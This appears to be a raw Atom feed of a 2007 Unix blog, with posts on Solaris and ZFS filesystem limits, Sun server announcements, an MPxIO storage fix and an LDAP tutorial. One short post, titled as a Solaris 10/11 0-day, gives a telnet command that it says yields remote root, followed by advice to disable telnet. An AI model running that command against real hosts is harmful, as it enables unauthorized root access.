&lt;p&gt;&lt;b&gt;Limitations in combination with the OBP.&lt;/b&gt;&lt;/p&gt; &lt;p&gt;Excluding the multiterabyte root filesystem limitation detailed above, the root filesystem has limits in Solaris[TM] 2.x that are not imposed on any other filesystems.  This limiting factor is a combination of two things, the OS release and the OBP (Open Boot Prom) level.&lt;/p&gt; &lt;p&gt;To establish the OS release, examine the /etc/release file To establish the OBP level, use the command prtconf -V (capital ¨V〃).&lt;/p&gt; &lt;p&gt;Here is a list of the various possible configurations.&lt;/p&gt; &lt;div class="informaltable"&gt; &lt;table border="1"&gt;   &lt;colgroup&gt;&lt;col&gt;&lt;col&gt;&lt;col&gt;&lt;/colgroup&gt;&lt;tbody&gt;     &lt;tr&gt;       &lt;td&gt;       &lt;p style="text-align: center;"&gt;&lt;b&gt;&lt;i&gt;OBP level&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;       &lt;/td&gt;       &lt;td&gt;       &lt;p style="text-align: center;"&gt;&lt;b&gt;&lt;i&gt;OS Release&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;       &lt;/td&gt;       &lt;td&gt;       &lt;p style="text-align: center;"&gt;&lt;b&gt;&lt;i&gt;Max root filesystem size&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;       &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;       &lt;td&gt;       &lt;p&gt;OBP 3.1beta1 or newer&lt;/p&gt;       &lt;/td&gt;       &lt;td&gt;       &lt;p&gt;Solaris 2.5.1&lt;/p&gt;       &lt;p&gt;Kernel Patch &lt;a href="http://sunsolve.sun.com/search/document.do?assetkey=1-21-103640-42-1" target="_top"&gt;103640-&lt;/a&gt;08 or newer&lt;/p&gt;       &lt;/td&gt;       &lt;td&gt;       &lt;p&gt;No limit&lt;/p&gt;       &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;       &lt;td&gt;       &lt;p&gt;OBP 3.1beta1 or newer&lt;/p&gt;       &lt;/td&gt;       &lt;td&gt;       &lt;p&gt;Solaris 2.6&lt;/p&gt;       &lt;/td&gt;       &lt;td&gt;       &lt;p&gt;No limit&lt;/p&gt;       &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;       &lt;td&gt;       &lt;p&gt;OBP 3.0 or earlier&lt;/p&gt;       &lt;/td&gt;       &lt;td&gt;       &lt;p&gt;Solaris 2.5.1&lt;/p&gt;       &lt;p&gt;Kernel Patch &lt;a href="http://sunsolve.sun.com/search/document.do?assetkey=1-21-103640-42-1" target="_top"&gt;103640-&lt;/a&gt;07 or older.&lt;/p&gt;       &lt;/td&gt;       &lt;td&gt;       &lt;p&gt;2Gbyte&lt;/p&gt;       &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;       &lt;td&gt;       &lt;p&gt;OBP 3.0 or earlier&lt;/p&gt;       &lt;/td&gt;       &lt;td&gt;       &lt;p&gt;Solaris 2.6 on an Ultra (sun4u) &lt;/p&gt;       &lt;/td&gt;       &lt;td&gt;       &lt;p&gt;4Gbyte&lt;/p&gt;       &lt;/td&gt;     &lt;/tr&gt;   &lt;/tbody&gt; &lt;/table&gt; &lt;/div&gt; &lt;p&gt;&lt;b&gt;Solaris 10 and ZFS&lt;/b&gt;&lt;/p&gt; &lt;p&gt;ZFS is now fully integrated in Solaris 10 U2 and above. &lt;/p&gt; &lt;p&gt;Limitations of a single file and filesystem in ZFS:&lt;/p&gt; &lt;p&gt;&lt;b&gt;&lt;a href="http://www.opensolaris.org/os/community/zfs/faq/" target="_top"&gt;http://www.opensolaris.org/os/community/zfs/faq/&lt;/a&gt;&lt;b&gt; &lt;/b&gt;&lt;/b&gt;&lt;/p&gt; &lt;p&gt;What limits does ZFS have?&lt;/p&gt; &lt;p&gt; - The limitations of ZFS are designed to be so large that they will never be encountered in any practical operation.&lt;/p&gt; &lt;p&gt; - ZFS can store 16 Exabytes in each storage pool, file system, file, or file attribute.&lt;/p&gt; &lt;p&gt; - ZFS can store billions of names: files or directories in a directory, file systems in a file system, or snapshots of a file system.&lt;/p&gt; &lt;p&gt; - ZFS can store trillions of items: files in a file system, file systems, volumes, or snapshots in a pool.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7456767307160502225-330712093272241893?l=all-unix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/330712093272241893/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7456767307160502225&amp;postID=330712093272241893' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/330712093272241893'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/330712093272241893'/><link rel='alternate' type='text/html' href='http://all-unix.blogspot.com/2007/04/limitations-of-file-system-for-solaris.html' title='Limitations of File System for Solaris OE'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7456767307160502225.post-2231404731106191013</id><published>2007-04-10T02:04:00.000+08:00</published><updated>2007-04-16T18:01:47.529+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ZFS'/><title type='text'>Migrating UFS to ZFS on the fly: Mission impossible or Mission will be completed</title><content type='html'>Although ZFS has already been proved so powerful and flexible, few of our customers have the plan to migrate their UFSes to ZFS.&lt;br /&gt;&lt;br /&gt;One reason for this is most of them believe that ZFS works well in labs, but they won't believe it can perform well in their production system. After all, ZFS is such a new thing comparing with other mature filesystems including UFS. This can be changed by time. I believe they will change their minds as many expedient data that will be provided by the users who are working with ZFS.&lt;br /&gt;&lt;br /&gt;The other important reason is probably that they won't take the risks of long down time while copy data of several TB without the intelligent backup tools such as VERITAS NetBackup and automatic filesystem replicate tools. &lt;br /&gt;&lt;br /&gt;If Sun microsystem won't provide some tools of migrating UFS to ZFS on the fly, ZFS may would be mission impossible for the users having data of several TBs, even hundreds of GBs. What a pity!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7456767307160502225-2231404731106191013?l=all-unix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/2231404731106191013/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7456767307160502225&amp;postID=2231404731106191013' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/2231404731106191013'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/2231404731106191013'/><link rel='alternate' type='text/html' href='http://all-unix.blogspot.com/2007/04/migrating-ufs-to-zfs-on-fly-mission.html' title='Migrating UFS to ZFS on the fly: Mission impossible or Mission will be completed'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7456767307160502225.post-4071771384866602790</id><published>2007-04-09T13:43:00.000+08:00</published><updated>2007-04-09T13:44:42.184+08:00</updated><title type='text'>Technorati</title><content type='html'>&lt;a href="http://technorati.com/claim/6v8vgj3zq2" rel="me"&gt;Technorati Profile&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7456767307160502225-4071771384866602790?l=all-unix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/4071771384866602790/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7456767307160502225&amp;postID=4071771384866602790' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/4071771384866602790'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/4071771384866602790'/><link rel='alternate' type='text/html' href='http://all-unix.blogspot.com/2007/04/technorati.html' title='Technorati'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7456767307160502225.post-3929417777168123570</id><published>2007-04-06T09:26:00.000+08:00</published><updated>2007-04-06T16:40:49.295+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='News'/><title type='text'>Sun Sets New World Records With Enhanced UltraSPARC IV+ Servers Running Solaris</title><content type='html'>&lt;span style="font-style:italic;"&gt;Sun Boosts Performance On UltraSPARC Servers, Show Sun's UltraSPARC Leadership&lt;br /&gt;SANTA CLARA, Calif. April 3, 2007 Sun Microsystems, Inc. (NASDAQ: SUNW) today announced the availability of faster 1.95GHz and 2.1GHz UltraSPARC(R) IV+ processors for its popular Sun Fire servers. New Sun Fire servers with UltraSPARC IV+ 1.95GHz and 2.1GHz processors offer world record performance, easy application portability and industry leading investment protection. The new servers are powered by the Solaris Operating System (OS), which delivers customers unbroken binary compatibility, thus ensuring that existing applications will run on the new UltraSPARC IV+ processors without the need to re-code or re-compile.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;According to industry analyst reports, Sun has gained market share for four consecutive quarters. SPARC-based systems represent a significant portion of that growth and the new 1.95GHz and 2.1 GHz UltraSPARC IV+ processors demonstrate Sun's ongoing commitment to improving the performance of the SPARC architecture and the protection of customer investment.&lt;br /&gt;&lt;br /&gt;"SPARC, with Solaris, is the engine that drives our server business, and we're committed to continual improvements on our SPARC-based products," said John Fowler, executive vice president, Systems Group, Sun Microsystems. "The growing demand for UltraSPARC IV+ servers has helped Sun build tremendous market momentum in our systems line-up, and steal significant market share at the expense of our competitors."&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Sun Sets New World Records&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The Sun Fire E2900 with UltraSPARC IV+ 1.95 GHz (US-IV+1.95GHz) set a new world-record for a single application server, with a Sun Fire T2000 as the database server, on SPECjAppServer2004 achieving &gt;1781 JOPS - the highest 2-node result performance record to date. The Sun Fire (US-IV+1.95GHz) uses six Solaris containers which - through consolidation - improves datacenter efficiency and promotes higher levels of system utilization.1&lt;br /&gt;&lt;br /&gt;The Sun Fire E6900 (24 processors, 48 cores, 48 threads) with UltraSPARC IV+ 1.95GHz set a new world-record for the SAP-SD 2-Tier Standard Application benchmark for systems with 24 or fewer processors as of 04/02/07, achieving 6160 users.2&lt;br /&gt;&lt;br /&gt;Sun Fire UltraSPARC IV+ servers now own over 75 world-record benchmarks.&lt;br /&gt;&lt;br /&gt;The Sun Fire V490, V890, E2900, E4900, E6900, E20K and E25K servers, powered by new 1.95GHz and 2.1GHz UltraSPARC IV+ processors have up to 2x the life of comparable IBM servers and up to 1/3 better TCO.&lt;br /&gt;&lt;br /&gt;When compared to previous generations, the new UltraSPARC IV+ processor has shown 2X performance over the UltraSPARC IV and 5X performance over the UltraSPARC III.&lt;br /&gt;&lt;br /&gt;Sun Fire UltraSPARC platforms are designed to help customers with CRM, business intelligence/data warehousing, and enterprise applications using large databases. The systems are ideal for virtualization environments using a combination of fault isolated hard partitions and flexible Solaris Containers. Solaris 10 Containers can consolidate and virtualize hundreds of applications on a single system so customers save in energy, space and complexity. Solaris Container management is superior to HP and IBM partitioning strategies as it requires less overhead, while providing resource flexibility down to a single processor.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7456767307160502225-3929417777168123570?l=all-unix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/3929417777168123570/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7456767307160502225&amp;postID=3929417777168123570' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/3929417777168123570'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/3929417777168123570'/><link rel='alternate' type='text/html' href='http://all-unix.blogspot.com/2007/04/sun-sets-new-world-records-with.html' title='Sun Sets New World Records With Enhanced UltraSPARC IV+ Servers Running Solaris'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7456767307160502225.post-2904217494894527990</id><published>2007-04-05T18:39:00.000+08:00</published><updated>2007-04-06T16:41:42.855+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>0-Day in Solaris 10 and 11</title><content type='html'>telnet -l "-froot" &lt;span style="font-style:italic;"&gt;ip_addr&lt;/span&gt;&lt;br /&gt;will get you root on most solaris 10/11 with default configs.&lt;br /&gt;&lt;br /&gt;So disable youe telnet service when system installed will be advised.&lt;br /&gt;#svcadm disable telnet&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7456767307160502225-2904217494894527990?l=all-unix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/2904217494894527990/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7456767307160502225&amp;postID=2904217494894527990' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/2904217494894527990'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/2904217494894527990'/><link rel='alternate' type='text/html' href='http://all-unix.blogspot.com/2007/04/0-day-in-solaris-10-and-11.html' title='0-Day in Solaris 10 and 11'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7456767307160502225.post-8011670570893201641</id><published>2007-04-05T18:11:00.000+08:00</published><updated>2007-04-06T16:42:35.222+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='News'/><title type='text'>Sun Introduced Netra X4200 M2 server</title><content type='html'>By Chip Brookshaw&lt;br /&gt;&lt;br /&gt;March 27, 2007 - Telecommunications customers need a unique combination of stability and horsepower--the IT equivalent of a tank that accelerates like a sports car. Sun has met those requirements for more than a decade with the industry's broadest line of carrier grade servers and blades.&lt;br /&gt;&lt;br /&gt;Last year, Sun completely refreshed its telco line with new processors and added ATCA support. That momentum continues today with the announcement of the Sun Netra X4200 M2 server. The new server makes it even easier for telco customers to maintain standardization without sacrificing performance.&lt;br /&gt;&lt;br /&gt;The 2U, 20-inch Sun Netra X4200 M2 server is Sun's first NEBS Level 3-certified rack server powered by AMD Opteron processors. It delivers several key advantages:&lt;br /&gt;&lt;br /&gt;    * Broadest OS support on the market&lt;br /&gt;    * Highest storage and memory capacity in its class&lt;br /&gt;    * Support for Sun's new 10 GbE Networking Technology&lt;br /&gt;&lt;br /&gt;The Sun Netra X4200 M2 server is designed to power solutions such as media servers, voice over IP (VoIP) solutions, signaling gateway controllers, element management systems, network traffic analysis systems, operation management systems, and data management systems.&lt;br /&gt;&lt;br /&gt;"Adding the Netra X4200 M2 server to the Netra server family extends the choice of platforms for our customers and partners," says Baljeet Grewal, Sun product line manager. "Companies can now have a single vendor for their UltraSPARC, x64, Solaris, Linux, and Windows based carrier-grade servers."&lt;br /&gt;The new Sun Netra X4200 M2 server makes it even easier for telco customers to maintain standardization without sacrificing performance.&lt;br /&gt;Scalability and Investment Protection&lt;br /&gt;&lt;br /&gt;The Sun Netra X4200 M2 server supports Solaris 10, Red Hat, and SUSE Linux, and Windows operating systems--the broadest platform support in the industry. The server also offers scalability and investment protection with:&lt;br /&gt;&lt;br /&gt;    * Up to four 146GB SAS drives with RAID 0 and 1 support&lt;br /&gt;    * Up to two dual-core AMD Opteron processors&lt;br /&gt;    * Upgradeability to future quad-core AMD Opteron processors&lt;br /&gt;&lt;br /&gt;The two-socket Sun Netra X4200 M2 server is available now, starting at $9,845. The one-socket version will be available in May, starting at $6,145.&lt;br /&gt;Ready for 10 GbE&lt;br /&gt;&lt;br /&gt;Last month Sun debuted its 10 GbE Networking Technology with the introduction of the Sun Multithreaded Networking Card, the first of its kind from a major vendor. The Sun Netra X4200 M2 server ships ready to support the networking card. Sun intends to make its leading 10GbE Networking Technology available across the Netra portfolio in the near future.&lt;br /&gt;&lt;br /&gt;Sun's new networking technology brings high-performance multithreading to the entire stack, from the operating system to the processor to the network wire. With 10Gb/s bandwidth across the stack, businesses can provide services to customers faster and more efficiently, lowering overall costs.&lt;br /&gt;New Customer and ISV Adoption&lt;br /&gt;&lt;br /&gt;Customers are already experiencing how the Sun Netra X4200 M2 server can add high performance and platform flexibility to their solutions.&lt;br /&gt;&lt;br /&gt;"Siemens Networks has been validating the Sun Netra X4200 M2 server in our laboratories for several months now," says Joachim Ungruh, senior vice president, VoIP Solutions, Siemens Networks. "While we are still in the platform verification phase, it has exceeded our performance expectations. The Sun Netra X4200 M2 will significantly enhance the competitiveness of our consumer and business VoIP solution offerings, continuing to reinforce Siemens' strategy to leverage the technology advancements of market-leading computing platforms."&lt;br /&gt;&lt;br /&gt;A number of ISVs are developing applications for the Sun Netra X4200 M2 Server including, Adax, AppGate Network Security, Surf, and Appium.&lt;br /&gt;&lt;br /&gt;The recently announced Sun Neta Data-Plane Software (NDPS) Suite is also gaining support from leading ISVs including Teja Technologies, SDC Labs, and Surf. NDPS enables the telco customers to reach breakthrough performance for data-plane functions on Netra CoolThreads servers such as Netra T2000 Server and Netra CP3060 UltraSPARC T1 ATCA Blade.&lt;br /&gt;Designed for Demanding Environments&lt;br /&gt;&lt;br /&gt;The Sun Netra X4200 M2 server expands Sun's selection of carrier grade servers and blades--the broadest line in the industry. As with other Netra servers, the Sun Netra X4200 M2 server is ruggedized making it ideal for the most demanding applications in the toughest environments.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7456767307160502225-8011670570893201641?l=all-unix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/8011670570893201641/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7456767307160502225&amp;postID=8011670570893201641' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/8011670570893201641'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/8011670570893201641'/><link rel='alternate' type='text/html' href='http://all-unix.blogspot.com/2007/04/sun-introduced-netra-x4200-m2-server.html' title='Sun Introduced Netra X4200 M2 server'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7456767307160502225.post-4687496338448677909</id><published>2007-04-02T09:45:00.000+08:00</published><updated>2007-04-06T16:42:55.401+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ZFS'/><title type='text'>Transaction file system and COW</title><content type='html'>NTFS is a transaction based file system. Is it a joke? No, NTFS is such a file system although it performed so badly. The use of activity logging and transaction management of file system changes allows the file system to maintain its internal integrity by preventing incomplete transactions from being implemented. One key to the operation of the transaction system is the process that is employed to check for and undo transactions that were not properly completed. This is sometimes called transaction recovery. Recovery is performed on NTFS volumes each time they are mounted on the system. Most commonly, this occurs when the system is booted or rebooted.&lt;br /&gt;&lt;br /&gt;ZFS is also a file system based on transaction. Comparing with NTFS, ZFS only performs copy-on-write operations.This means that the blocks containing the in-use data on disk are never modified. The changed information is written to alternate blocks, and the block pointer to the in-use data is only moved once the write transactions are complete. This happens all the way up the file system block structure to the top block, called the &lt;span style="font-style:italic;"&gt;uberblock&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vskL6MHIl6U/RhBpcRwOfoI/AAAAAAAAASQ/DkqTDcIYkPw/s1600-h/zfs_cow_fig1.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_vskL6MHIl6U/RhBpcRwOfoI/AAAAAAAAASQ/DkqTDcIYkPw/s320/zfs_cow_fig1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5048651116805258882" /&gt;&lt;/a&gt;&lt;br /&gt;As show in picture above, transactions select unused blocks to write modified data and only then change the location to which the preceding block points. If the machine were to suffer a power outage in the middle of a data write, no corruption occurs because the pointer to the "good" data is not moved until the entire write is complete. (Note: The pointer to the data is the only thing that is moved.) This eliminates the need for a journaling or logging file system and any need for a fsck or mirror resync when a machine reboots unexpectedly.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7456767307160502225-4687496338448677909?l=all-unix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/4687496338448677909/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7456767307160502225&amp;postID=4687496338448677909' title='26 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/4687496338448677909'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/4687496338448677909'/><link rel='alternate' type='text/html' href='http://all-unix.blogspot.com/2007/04/transaction-file-system-and-cow.html' title='Transaction file system and COW'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_vskL6MHIl6U/RhBpcRwOfoI/AAAAAAAAASQ/DkqTDcIYkPw/s72-c/zfs_cow_fig1.jpg' height='72' width='72'/><thr:total>26</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7456767307160502225.post-2618001336893870149</id><published>2007-03-29T23:21:00.000+08:00</published><updated>2007-04-06T16:44:53.941+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>Mpxio and LSI storage</title><content type='html'>Two Sun cluster boxes(Sun v440 and Sun Fire 490) running solaris 10 connect to LSI storage box using fibre channel switches. One LUN on the LSI box was created to supply the two server box storing 1.9TB data. When mpxio is disabed on both servers, only one server can recognize the LUN correctly while the other regards the LUN as unformatted disk. When trying to format or label the LUN using format utility, illegal ASC write errors ocurred.&lt;br /&gt;&lt;br /&gt;When mpxio is enabled on both servers through the command:&lt;br /&gt;#stmsboot -e&lt;br /&gt;&lt;br /&gt;problem described above solved. Both server can access the LUN with no errors occuring. I don't know why. Anybody knows?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7456767307160502225-2618001336893870149?l=all-unix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/2618001336893870149/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7456767307160502225&amp;postID=2618001336893870149' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/2618001336893870149'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/2618001336893870149'/><link rel='alternate' type='text/html' href='http://all-unix.blogspot.com/2007/03/mxpio-and-lsi-storage.html' title='Mpxio and LSI storage'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7456767307160502225.post-8326945248538362513</id><published>2007-03-22T09:06:00.000+08:00</published><updated>2007-05-11T20:06:57.514+08:00</updated><title type='text'>Stupid is as stupid does</title><content type='html'>China's Net Nanny is having some kind of emotional issue: in the last few weeks, &lt;a href="http://www.livejournal.com/"&gt;Livejournal&lt;/a&gt;, &lt;a href="http://www.xanga.com/"&gt;Xanga&lt;/a&gt;, and &lt;a href="http://bluesocket.blogspot.com"&gt;Blogspot&lt;/a&gt; have all been blocked.&lt;br /&gt;&lt;br /&gt;Blocked, unblocked, blocked again... ...&lt;br /&gt;&lt;br /&gt;What does the old Nanny want to protect?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7456767307160502225-8326945248538362513?l=all-unix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/8326945248538362513/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7456767307160502225&amp;postID=8326945248538362513' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/8326945248538362513'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/8326945248538362513'/><link rel='alternate' type='text/html' href='http://all-unix.blogspot.com/2007/03/stupid-is-as-stupid-does.html' title='Stupid is as stupid does'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7456767307160502225.post-5352002352853232410</id><published>2007-03-20T01:03:00.001+08:00</published><updated>2007-04-06T16:45:34.308+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='LDAP'/><title type='text'>LDAP and OpenLDAP (Part III)</title><content type='html'>In &lt;a href="http://all-unix.blogspot.com/2007/03/ldap-and-openldap-part-ii.html"&gt;previous sections&lt;/a&gt;, we have know there are three models of LDAP architecture besides information model. This section will discuss these three models: the naming model, function model and security model.&lt;br /&gt;&lt;br /&gt;Naming Model&lt;br /&gt;Information model provides the basic elements to construct the directory. The naming model describe how these elements fit together to build up directory.&lt;br /&gt;&lt;br /&gt;We have known the DIT -- Directory Information Tree, which is perhaps the most important concept of the naming model. The examples in &lt;a href="http://all-unix.blogspot.com/2007/03/ldap-and-openldap-part-i.html"&gt;Part I&lt;/a&gt; have shown us how the directory is created as a tree with the root entry having the information of company abc.com.&lt;br /&gt;&lt;br /&gt;LDAP provides a great deal of flexibility in the tree design, but that does not mean that everything is possible. The directory always has to be a treelike structure, i.e., every entry above the directory root has to have one ancestor. You can not insert en entry that has no parent.&lt;br /&gt;&lt;br /&gt;The concept of the distinguished name is the heart of the naming model. Each entry has an attribute called "distinguished name" (DN). This attribute is used to identify the entry unambiguously. From this, it is clear that the DN must be unique throughout the whole directory. The construction of the DN is used to construct the namespace and the directory information tree.&lt;br /&gt;&lt;br /&gt;The distinguished name is a comma-separated list of subunits called "relative distinguished names." You obtain the distinguished name in postfixing the relative distinguished name (RDN) with the distinguished name of its ancestor.&lt;br /&gt;&lt;br /&gt;Like the DN, the RDN has to be unique. However, the RDN has to be unique only in its scope. For example, if the parent is:&lt;br /&gt;DN: ou=sales, l=Europe, o=abc.com&lt;br /&gt;&lt;br /&gt;under this subtree there can be only one RDN:&lt;br /&gt;uid=usr1&lt;br /&gt;&lt;br /&gt;resulting in the DN:&lt;br /&gt;DN: uid=usr1, ou=sales, l=Europe, o=abc.com&lt;br /&gt;&lt;br /&gt;This means that you can have an entry with an RDN of uid = usr1 under l = Asia, as shown in Exhibit 18, resulting in the unique DN:&lt;br /&gt;DN: uid=usr1, ou=sales, l=Asia, o=abc.com&lt;br /&gt;&lt;br /&gt;As directories continue to increase in size, there may come a point where it is no longer useful to hold the whole directory tree on one server. For performance reasons, we might decide to put one part of the directory tree on another directory server. However, performance is not the only reason for placing one or more parts of the directory on other servers. Administrative considerations — allowing different policies for different parts of the directory tree — might also come into play. We can solve these problems using referrals besides partition which will be explained later.&lt;br /&gt;&lt;br /&gt;Assume that our directory server does not hold the entire directory tree and that part of the tree is located on another server. For example, imagine that the directory tree holding the information of company abc.com for location of North America has been moved to a separate server. At this point, a client searching an entry in the sales department located at San Francisco would not find anything, receiving instead an error message indicating that the required entry had not been found on the server. This is not what we wanted to achieve. We need an entry that points to the exact location where the entry can now be found. This special entry is called a "referral."&lt;br /&gt;&lt;br 